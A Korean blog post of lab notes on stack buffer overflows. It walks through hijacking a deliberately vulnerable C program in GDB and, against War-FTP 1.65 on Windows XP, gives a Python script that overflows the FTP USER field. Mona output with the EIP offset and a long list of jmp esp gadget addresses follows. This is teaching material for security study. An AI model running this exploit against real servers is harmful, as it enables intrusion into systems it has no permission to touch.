#6 - Stack Buffer Overflow

RINM·2023년 2월 1일
0

Penetration Testing

목록 보기
6/7

Linux

Memory Theory

  • text: 실행할 프로그램 코드
  • data: 프로그램의 전역 정보
  • heap: 동적 할당 영역. 낮은 주소에서 높은 주소로 자라난다.
  • stack: 함수 인자값, 지역 변수 등을 저장. 높은주소에서 낮은 주소로 자라난다.

register

ESP와 EBP가 현재 실행 중인 stack frame을 추적한다. ESP는 스택의 가장 위부분(메모리 주소로는 가장 낮은 곳)을, EBP는 스택의 가장 아랫부분(메모리 주소로 가장 높은 곳)을 가리킨다.
EIP 레지스터는 다음으로 실행할 코드의 위치를 저장한다. EIP 값을 변조할 수 있다면 프로그램 흐름을 다른 곳으로 이동시키는 것이 가능하다. 그러나 EIP 값은 사용자가 임의로 변조할 수 없기 때문에 (read-only) 실행 중인 프로그램을 exploit 하기 위해서는 다른 방법이 필요하다.

프로그램 함수가 실행되면 지역변수 등 함수를 실행하는데 필요한 정보들이 stack frame에 저장된다. 함수 실행이 끝나면 이 stack frame은 더이상 필요가 없기 때문에 ESP와 EBP는 함수를 호출한 함수의 stack frame 상태로 되돌아간다. 이때 호출된 위치로 다시 되돌아가기 위하여 함수 호출과 함께 스택에 return address가 저장된다. 호출이 끝나고 되돌아갈 때 return address값이 EIP 값이 된다. 즉, 스택에 저장된 return address 값을 마음대로 조작할 수 있다면 프로그램의 흐름을 조작하거나 탈취할 수 있다.

antiexploitation

  • DEP(Data Execution Prevention): 메모리의 특정부분을 nonexecutable로 지정하여 메모리에 쉘코드가 삽입되거나 EIP가 실행하지 못하도록한다.
  • ASLR(Address Space Layout Randomization): 라이브러리가 메모리에 로드되는 것을 랜덤화하여 return address로 특정 위치를 지정하는 것이 어렵게 한다.

Linux Buffer Overflow

ubuntu 타깃에서 진행한다. randomize_va_space 옵션을 0으로 지정하여 ASLR을 꺼 buffer overflow가 가능한 환경을 만든다.

buffer overflow에 취약한 C 프로그램을 작성한다. 코드는 다음과 같다.

#include <string.h>
#include <stdio.h>

void overflowed() {
        printf("%s\n", "Execution Hijacked");
}

void function(char *str){
        char buffer[5];
        strcpy(buffer, str);
}
void main(int argc, char *argv[])
{
        function(argv[1]);
        printf("%s\n", "Executed normally");
}

프로그램은 인수로 받은 argv[1]값으로 function 함수를 호출한다. function함수에서는 인자로 받은 값을 buffer라는 길이 5의 문자 배열에 복사한다. function 실행이 끝나면 다시 main함수로 돌아와 문자열 "Executed normally"을 출력한다. main에서 호출되지 않는 overflowed 함수는 "Execution Hijacked" 를 출력한다.
gcc를 사용하여 코드를 컴파일한다. 이때 -g 명령어로 GDB로 디버깅할 수 있게 한다. 또한 -fno-stack-protector 옵션으로 gcc의 stack-protection mechanism이 작동하지 않게 하여 버퍼 오버플로우가 가능하도록한다. -z execstack 명령으로는 스택부분을 실행가능한 상태로 만들어 스택 버버 오버플로우를 통해 특정 코드가 실행될 수 있도록 한다.

gcc -g -fno-stack-protector -z execstack -o overflow overflowtest.c

프로그램을 실행한다. 인수로 길이 4이하의 문자열을 입력하면 "Executed normally" 가 출력되고 실행이 완료된다. 반면 길이 5이상의 문자열을 인수로 입력하면 segmentfault가 나며 프로그램이 제대로 실행되지 못한다.

strcpy 함수가 실행될 때 argv[1]의 길이를 고려하지 않고 값을 복사하기 때문에 buffer에 지정된 변수 길이를 초과하여 값이 들어가게 된 것이다. 이렇게 초과한 값은 스택에 이미 들어있는 값에 영향을 미친다. strcpy를 호출한 function의 stack frame은 물론 그 이상의 메모리 부분까지 overwriting될 수 있다. 이를 이용하면 function이 호출될 때 스택에 저장된 return address를 변조하여 원하는 곳으로 프로그램 흐름을 옮길 수 있다.

GDB

GDB를 통하여 프로그램을 디버깅할 수 있다. gcc로 컴파일하면서 -g 옵션을 사용했기 때문에 GDB에서 list 명령어를 사용하여 코드를 볼 수 있다.

breakpoint를 설정하며 프로그램을 디버깅한다. 10,11,14번째 줄에 각각 설정한다. 이 위치는 각각 function을 호출하기 전, strcpy를 호출하기 전과 후이다.

run 명령어로 실행한다. 우선 인수로 길이 4이하인 문자열을 입력한다. 첫번째 breakpoint에서 멈추었다.

x 명령어로 메모리 상태를 관찰한다. 스택을 관찰하기 위하여 ESP로부터 word 단위로 16개를 hex값으로 출력한다.

아직 function을 호출하기 전이므로 ESP는 main의 stack frame 가장 위에 위치한다. EBP의 값도 확인하면 main의 stack frame이 어떤 상태인지 알 수 있다.

continue를 입력하여 프로그램을 계속 실행한다. 이번에는 strcpy가 실행되기 직전에 멈춘다.

이번에도 stack frame의 상태를 확인한다.

function 함수의 stack frame 상태를 다음과 같이 추정할 수 있다.

EBP 바로 아래에 있는 값 0x08048443이 main으로 돌아가기 위한 return address이다. disas 명령어를 통해 확인할 수 있다. 함수를 call하는 바로 다음부분의 주소가 0x08048443으로 일치한다.

다시 프로그램을 진행시킨다. 이제 strcpy를 시행한 다음 멈춘다. 마찬가지 방법으로 stack frame의 상태를 관찰한다.

스택의 크기는 바뀌지 않았지만 0xbffff530으로부터 5byte의 값이 0x4142434400로 바뀐 것을 볼 수 있다. 이 값은 "ABCD"의 hex 값이다.(null 포함) 즉 이곳이 메모리상에서 변수 buffer의 위치임을 알 수 있다.

이제 길이가 더 긴 값을 프로그램 실행시 인수로 입력한다. python을 활용한다.

run $(python -c 'print "A"*10')

두 번째 breakpoint에서 메모리 상태를 확인한다. stackframe의 위치가 이전과는 달라졌지만 (인수로 입력한 값의 길이가 달라서) return address 값은 0x08048443으로 동일하다.

이어서 프로그램을 실행시키면 입력한 값이 return address를 덮어쓴 것을 확인할 수 있다. 이후에는 프로그램이 segment fault로 오류와 함께 종료된다.

이제 return address의 값을 변경할 방법을 알았으니 return address에 유효한 메모리 주소를 입력하여 EIP를 조작할 수 있다. 우선 return address를 덮어쓰기 위한 입력값의 길이를 조절한다. 위의 메모리 출력으로 부터 buffer의 시작부터 return address의 시작까지 1+4+4+=9 바이트 떨어져 있는 것을 확인할 수 있다. 즉, 9바이트의 입력값 뒤에 이동하고자 하는 메모리의 주소를 입력하면 return address가 조작된다. 실제로 9개의 A 뒤에 4개의 0을 입력하면 return address의 값이 0x30303030 즉 "0000"으로 바뀐다.

이제 return address를 조작하여 overflowed 함수가 실행될 수 있도록 해본다. 우선 overflowed 함수의 메모리 상 위치를 알아내야한다. 디스어셈블하면 overflowed 함수의 메모리 위치를 알아낼 수 있다. (함수의 이름을 알고 있기 때문에 가능하다.)

0x080483f4에서 overflowed 함수가 시작한다. 이 값으로 return address를 조작한다. 리틀엔디안 기반이기 때문에 거꾸로 입력해주어야한다.

run $(python -c "print('A'*9+'\xf4\x83\x04\x08')")

3번째 breakpoint에서 메모리를 확인하면 return address가 제대로 바뀐 것을 확인할 수 있다.

계속해서 실행하면 다음과 같이 "Execution Hijacked"를 출력한 뒤 segment fault와 함께 비정상 종료 된다.

gdb 밖에서도 같은 값을 프로그램 인수로 입력하면 "Execution Hijacked"가 출력된다.

Windows

Vulnerability in War-FTP

War-FTP 1.65 버전에는 stack buffer overflow 취약점이 존재한다. FTP 로그인시 입력하는 username의 길이를 확인하지 않아서 발생한다.

타깃 Win XP의 War-FTP를 실행한다. 왼쪽 상단의 번개 모양 버튼을 눌러 online 상태로 바꾼다. (File Zilla FTP가 실행 중인 경우 실행할 수 없다. XAMPP control panel에서 File Zilla FTP를 종료한 후 사용한다.)

linux 환경에서 gdb를 사용했던 것처럼 windows 환경에서는 Immunity Debugger를 사용하여 디버깅한다. File>attach로 현재 실행중인 War-FTP 프로세스를 선택한다.

일시정지된 상태로 attach가 완료된다. 왼쪽 상단의 시작버튼을 눌러 프로세스를 다시 동작시킨다.

kali linux에서 buffer exploit을 위한 python 코드를 작성한다.

#!/usr/bin/python
import socket

buffer = "A"*1100
target ='' #Win XP IP 주소

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((target,21))
response = s.recv(1024)
print(response)

s.send('USER'+buffer+'\r\n')

response = s.recv(1024) 
print(response)

s.send('PASS PASSWORD\r\n')
s.close()

python의 socket을 사용하여 win XP의 21번 포트를 사용하는 War-FTP와 통신한다. USER 값으로 변수 buffer에 담긴 값을 PASS 값으로 임의의 문자열을 전달한다.

우선 buffer에 1100개의 A를 입력한다. 코드를 실행하면 다음과 같이 username은 정상적으로 진행되지만 그 이후에는 작동하지 않는다.

Win XP로 돌아와 디버거를 확인해 보면 프로세스가 작동에 실패한 것을 볼 수 있다. Access violatoin when executing [41414141]로 보아 입력한 A 배열이 return address를 덮어서 EIP에 그 값이 저장되면서 실행할 수 없는 메모리 위치를 참조하면서 오류가 난 것 같다.

Mona

이제 입력값을 조절하면서 return address의 위치를 찾아야한다. immunity 디버거의 mona를 사용하여 1100자리의 패턴을 만들어서 사용할 수 있다. 출력값은 C:\logs\war-ftpd\pattern.txt에 저장된다.

================================================================================
  Output generated by mona.py v2.0, rev 628 - Immunity Debugger
  Corelan Consulting bv - https://www.corelan.be
================================================================================
  OS : xp, release 5.1.2600
  Process being debugged : war-ftpd (pid 2736)
  Current mona arguments: pattern_create 1100
================================================================================
  2023-02-01 22:52:21
================================================================================

Pattern of 1100 bytes :
-----------------------

ASCII:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

immunity 디버거의 debug>restart로 정지된 war-FTP를 다시 실행한다. online 상태로 만드는 것도 잊지 않는다.

다시 kali로 돌아와 buffer의 값을 앞서 mona로 만든 패턴을 사용한다. 이전과 동일하게 username만 입력된뒤 war-FTP가 멈춘다.

이번에는 [32714131]에서 프로그램이 멈추었다. mona를 사용하여 해당 값의 offset을 찾는다.

findmsp 명령을 사용하면 EPI의 값인 0x32714131이 485번째 자리에 있었던 것은 물론 ESP와 EBP 등 다른 register에 저장된 값의 offset도 찾아준다. return address를 덮어쓰기 위해서는 485자리의 입력값이 먼저 들어가야한다. buffer의 값을 적절히 변형한다.

위와 같이 전송하면 이제 war-FTP가 멈추는 곳은 [42424242]여야한다. 코드를 실행하면 예상한 대로 EIP 값이 변경된 것을 확인할 수 있다.

Hijack Execution

레지스터 값을 조작할 수 있게 되었으니 이제 어떤 값으로 덮어쓸지 결정해야한다. mona findmsp 명령을 실행했을 때 EIP 외의 다른 레지스터의 값도 확인할 수 있었다. ESP와 EBP의 값을 통해서 stackframe의 위치와 크기를 짐작할 수 있다. 실제로 레지스터를 확인해보면 ESP 바로 위 4바이트 부분까지 C로 덮어 쓰여져있다.

linux의 경우처럼 return address를 바로 주소로 덮어 쓸 수도 있지만 실행시 매번 위치가 달라지므로 매번 사용할 수는 없다. Win XP에서는 Windows DLL들이 매번 메모리 상의 같은 위치에 로딩된다. 이 점을 활용하여 jmp ESP와 같이 레지스터에 저장된 위치로 이동하는 명령어를 DLL에서 찾아 return address를 그곳의 주소로 바꾸면 매번 똑같은 동작을 하도록 할 수 있다.

mona를 사용하여 메모리에서 jmp ESP 명령이 있는 곳을 찾는다. 총 95개의 포인터가 발견되었다. 결과는 C:\logs\war-ftp\jmp.txt에 저장된다.

================================================================================
  Output generated by mona.py v2.0, rev 628 - Immunity Debugger
  Corelan Consulting bv - https://www.corelan.be
================================================================================
  OS : xp, release 5.1.2600
  Process being debugged : war-ftpd (pid 3420)
  Current mona arguments: jmp -r esp
================================================================================
  2023-02-01 23:32:45
================================================================================
-----------------------------------------------------------------------------------------------------------------------------------------
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
0x77ebb227 : jmp esp |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
0x7c86467b : jmp esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
0x77106342 : jmp esp | ascii {PAGE_EXECUTE_READ} [oleaut32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\oleaut32.dll)
0x719c1c8b : jmp esp |  {PAGE_EXECUTE_READ} [wshtcpip.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\System32\wshtcpip.dll)
0x769e9bff : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x769ea930 : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x76a3996b : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x76a5068d : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x65ceb24f : jmp esp |  {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
0x77d09353 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x77d256f7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x77d35af7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x77d3b310 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x77e41d2f : jmp esp |  {PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\GDI32.dll)
0x7d5b30d7 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b30eb : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b30ff : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b313b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b314f : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b3163 : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b318b : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b319f : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b31b3 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b31c7 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b31db : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b31ef : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b3203 : jmp esp | ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d5b3217 : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d71fa1e : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d728eed : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x77d9560a : jmp esp |  {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
0x77da025b : jmp esp |  {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
0x771836f8 : jmp esp |  {PAGE_EXECUTE_READ} [comctl32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.0 (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll)
0x74691873 : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [MSCTF.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\MSCTF.dll)
0x76af3adc : jmp esp |  {PAGE_EXECUTE_READ} [WINMM.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\WINMM.dll)
0x77f6f049 : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77f7965b : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77f98063 : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77fa3b63 : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77fc2a9f : jmp esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x7c8369f0 : call esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
0x7c868667 : call esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
0x770e2372 : call esp | ascii {PAGE_EXECUTE_READ} [oleaut32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\oleaut32.dll)
0x770e44f0 : call esp |  {PAGE_EXECUTE_READ} [oleaut32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\oleaut32.dll)
0x7c944663 : call esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
0x7c98311b : call esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
0x7352b431 : call esp |  {PAGE_EXECUTE_READ} [ODBC32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v3.525.1132.0 (C:\WINDOWS\system32\ODBC32.DLL)
0x735476b9 : call esp |  {PAGE_EXECUTE_READ} [ODBC32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v3.525.1132.0 (C:\WINDOWS\system32\ODBC32.DLL)
0x735477a2 : call esp |  {PAGE_EXECUTE_READ} [ODBC32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v3.525.1132.0 (C:\WINDOWS\system32\ODBC32.DLL)
0x73547847 : call esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [ODBC32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v3.525.1132.0 (C:\WINDOWS\system32\ODBC32.DLL)
0x735498bc : call esp |  {PAGE_EXECUTE_READ} [ODBC32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v3.525.1132.0 (C:\WINDOWS\system32\ODBC32.DLL)
0x73553141 : call esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [ODBC32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v3.525.1132.0 (C:\WINDOWS\system32\ODBC32.DLL)
0x76f71c67 : call esp |  {PAGE_EXECUTE_READ} [rasadhlp.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\rasadhlp.dll)
0x5f403b7a : call esp | asciiprint,ascii {PAGE_EXECUTE_READ} [MFC42.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.2.6256 (C:\Documents and Settings\rinm\바탕 화면\vuln_sw\MFC42.DLL)
0x76996cca : call esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x769d9622 : call esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x769fe37b : call esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x76a1120b : call esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x7d5b30e3 : call esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d647ed3 : call esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d68f81b : call esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d6b0672 : call esp | ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x7d72183c : call esp | asciiprint,ascii {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x5c82a561 : call esp |  {PAGE_EXECUTE_READ} [COMCTL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.82 (C:\WINDOWS\system32\COMCTL32.dll)
0x7469d20f : call esp |  {PAGE_EXECUTE_READ} [MSCTF.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\MSCTF.dll)
0x719a8d3f : call esp |  {PAGE_EXECUTE_READ} [mswsock.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\mswsock.dll)
0x77f6effc : call esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77f6f0b2 : call esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77f98153 : call esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x77f9c23b : call esp |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x719ef8fb : call esp |  {PAGE_EXECUTE_READ} [WS2_32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\WS2_32.dll)
0x77e7c62b : push esp # ret  |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
0x77e7c77f : push esp # ret  |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
0x77e84ba3 : push esp # ret  |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
